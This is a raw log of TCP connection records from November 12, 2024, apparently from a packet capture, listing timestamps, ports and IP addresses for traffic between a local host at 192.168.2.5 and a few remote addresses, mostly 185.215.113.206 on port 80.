Nov 12, 2024 04:16:29.969820023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969830990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969841957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969850063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969862938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969877005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969877005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969930887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969943047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969954014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.969958067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969983101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.969986916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970011950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970072985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970077038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970087051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970097065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970110893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970122099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970123053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970123053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970134020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970144987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970144987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970155001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970166922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970176935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970176935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970194101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970201015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970206022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970217943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970218897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970240116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970252037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970264912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970274925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970278978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970293999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970299006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970308065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970318079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970362902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970362902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970367908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970380068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970390081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970491886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970495939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970510006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970520020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970530987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970542908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970545053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970555067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970566988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970571995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970578909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970590115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970601082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970604897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970622063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970626116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970635891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970647097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970653057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970664978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970675945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970685959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970686913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970686913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970698118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970721960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970741034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970769882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970781088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970792055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970805883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970817089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970819950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970870018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970870018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970892906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970905066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970915079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970926046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970932961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970937967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970949888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970952034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970969915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970972061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.970980883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970992088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.970997095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971003056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971015930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971016884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971029997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971044064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971045971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971098900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971098900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971102953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971184969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971196890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971200943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971209049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971226931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971235991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971240044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971252918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971262932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971262932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971276999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971327066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971333981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971344948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971354961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971365929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971376896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971388102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971390009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971409082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971427917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971440077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971450090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971456051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971465111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971473932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971487045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971492052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971523046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971534014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971543074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971549988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971554995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971565008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971568108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.971579075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.971884966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.015017986 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.015083075 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.015172005 CET	49815	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.015424013 CET	49815	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.015424013 CET	49815	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.015449047 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.015460014 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.020448923 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.020489931 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.020617008 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.020783901 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.020798922 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.027590036 CET	443	49818	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.027945042 CET	49818	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.027964115 CET	443	49818	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.029103041 CET	443	49818	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.029247999 CET	49818	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.030147076 CET	49818	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.030210018 CET	443	49818	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.031339884 CET	49818	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.031346083 CET	443	49818	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.085845947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.085870028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.085880995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.085900068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.085923910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.085937977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.085937023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.085949898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.085975885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.085975885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.085993052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086011887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086024046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086035013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086046934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086070061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086122990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086123943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086265087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086277008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086288929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086299896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086312056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086313009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086363077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086363077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086376905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086390972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086426973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086426973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086429119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086441994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086452961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086464882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086494923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086494923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086508989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086517096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086529970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086580992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086596966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086606026 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086608887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086632013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086663961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086669922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086677074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086688042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086698055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086709023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086711884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086711884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086719990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086731911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086740017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086766005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086791992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086803913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086813927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086839914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086843014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086843014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086884022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086884022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086888075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086903095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086914062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086925030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086935997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086940050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086940050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086946964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086958885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086970091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086972952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.086982965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.086985111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087007999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087101936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087114096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087125063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087127924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087140083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087146997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087152958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087162018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087166071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087179899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087191105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087191105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087225914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087238073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087249041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087249994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087260962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087274075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087275982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087286949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087297916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087299109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087310076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087341070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087341070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087341070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087352991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087380886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087380886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087402105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087414026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087424994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087430954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087439060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087465048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087471962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087482929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087497950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087532997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087532997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087644100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087655067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087666035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087677956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087692976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087703943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087703943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087718964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087729931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087733030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087733030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087749004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087762117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087773085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087779999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087779999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087790012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087802887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087814093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087817907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087826014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087835073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087838888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087866068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087908030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.087966919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087976933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.087986946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088000059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088010073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088026047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088032007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088037968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088048935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088051081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088061094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088073969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088078976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088090897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088100910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088104010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088113070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088124990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088133097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088133097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088160992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088176012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088176012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088176012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088186979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088198900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088211060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088217974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088231087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088236094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088248014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088258982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.088259935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.088288069 CET	49750	80	192.168.2.5	185.215.113.206
